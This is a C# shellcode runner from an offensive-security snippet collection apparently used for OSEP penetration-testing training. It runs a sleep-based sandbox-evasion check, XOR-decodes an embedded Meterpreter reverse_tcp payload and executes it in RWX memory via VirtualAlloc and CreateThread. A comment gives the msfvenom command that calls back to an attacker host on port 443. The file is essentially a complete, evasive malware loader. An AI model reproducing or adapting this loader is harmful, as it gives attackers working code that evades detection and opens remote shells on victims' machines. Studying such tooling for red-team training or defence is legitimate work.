mirror of
https://github.com/chvancooten/OSEP-Code-Snippets
synced 2026-06-08 13:32:22 +00:00
84 lines
5.2 KiB
C#
84 lines
5.2 KiB
C#
using System.Runtime.InteropServices;
|
|
using System;
|
|
|
|
namespace rev
|
|
{
|
|
public class Program
|
|
{
|
|
public const uint EXECUTEREADWRITE = 0x40;
|
|
public const uint COMMIT_RESERVE = 0x3000;
|
|
|
|
[DllImport("kernel32.dll")]
|
|
static extern void Sleep(uint dwMilliseconds);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
|
|
static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
|
|
|
|
[DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
|
private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);
|
|
|
|
public static void Main()
|
|
{
|
|
|
|
DateTime t1 = DateTime.Now;
|
|
Sleep(10000);
|
|
double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
|
|
if (deltaT < 9.5)
|
|
{
|
|
return;
|
|
}
|
|
|
|
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
|
|
// XORed with key 0xfa
|
|
byte[] buf = new byte[511] {
|
|
0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa, 0xa8,
|
|
0xab, 0xac, 0xb2, 0xcb, 0x28, 0x9f, 0xb2, 0x71, 0xa8, 0x9a, 0xb2, 0x71, 0xa8, 0xe2, 0xb2,
|
|
0x71, 0xa8, 0xda, 0xb7, 0xcb, 0x33, 0xb2, 0x71, 0x88, 0xaa,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a4, 0x73, 0x0c, 0x90, 0xba, 0xbb,
|
|
0xa3, 0x92, 0xfa, 0xea, 0xfa, 0xfa, 0xbb, 0xa2, 0xb2, 0x73, 0x08, 0xb2, 0xcb, 0x33, 0xbb,
|
|
0x40, 0xa2, 0x5e, 0xa9, 0x1f, 0x05, 0x2f, 0xb2, 0x73, 0x39, 0xb3, 0x73, 0x3d, 0xb7, 0xcb,
|
|
0x33, 0xb3, 0x73, 0x0a, 0xb2, 0x73, 0x20, 0xb2, 0x73, 0x03, 0xbb, 0x40, 0xf8, 0x23, 0x32,
|
|
0xa5, 0x05, 0x2f, 0x79, 0x02, 0xfa, 0x87, 0xd2, 0xa2, 0xbb, 0xad, 0xa3, 0x92, 0xfa, 0xba,
|
|
0xfa, 0xfa, 0xbb, 0xa2, 0x90, 0xfa, 0xa0, 0xbb, 0x40, 0xf1, 0xd5, 0xf5, 0xca, 0x05, 0x2f,
|
|
0xad, 0xa3, 0xbb, 0x40, 0x8f, 0x94, 0xb7, 0x9b, 0x05, 0x2f, 0xb3, 0x05, 0x34, 0x13, 0xc6,
|
|
0x05, 0x05, 0x05, 0xb2, 0xfb, 0x39, 0xb2, 0xd3, 0x3c, 0xb2, 0x7f, 0x0c, 0x8f, 0x4e, 0xbb,
|
|
0x05, 0x1d, 0xa2, 0x90, 0xfa, 0xa3, 0x41, 0x1a, 0xe7, 0xd0, 0xf0, 0xbb, 0x73, 0x20, 0x05,
|
|
0x2f
|
|
};
|
|
int payloadSize = buf.Length;
|
|
IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);
|
|
for (int i = 0; i < buf.Length; i++)
|
|
{
|
|
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
|
|
}
|
|
Marshal.Copy(buf, 0, payAddr, payloadSize);
|
|
IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);
|
|
int waitResult = WaitForSingleObject(payThreadId, -1);
|
|
}
|
|
}
|
|
} |